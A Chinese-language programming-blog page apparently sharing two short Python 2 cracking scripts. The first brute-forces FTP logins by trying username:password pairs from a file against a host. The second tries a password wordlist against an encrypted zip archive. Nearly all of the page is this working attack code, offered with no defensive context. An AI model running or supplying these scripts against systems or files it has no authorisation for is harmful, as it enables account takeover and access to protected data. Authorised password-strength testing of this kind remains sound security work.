您的位置:首页 > 编程语言 > PHP开发

用ftplib爆破FTP口令

2016-06-11 10:10 477 查看
#coding:utf-8
#author:jwong

import ftplib

def bruteLogin(hostname,passwordFile):
with open(passwordFile,'r') as f:
for line in f.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying:" + username + "/" + password
try:
ftp = ftplib.FTP(hostname)
ftp.login(username,password)
print 'login success'
ftp.quit()
return (username,password)

except Exception, e:
pass
print 'could not brute force FTP credentials'
return (None,None)

if __name__ == '__main__':
host = '192.168.21.104'
passwordFile = 'userpass.txt'
bruteLogin(host,passwordFile)


 爆破zip脚本:

#coding:utf-8
#author:jwong

import zipfile

filename = 'master.zip'
with open('password.txt','r') as f:
zf = zipfile.ZipFile(filename)
for line in f.readlines():
line = line.strip()
try:
zf.extractall("./sample",pwd=line)
print "crack password is %s" % line
exit(0)

except Exception, e:
pass


  
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: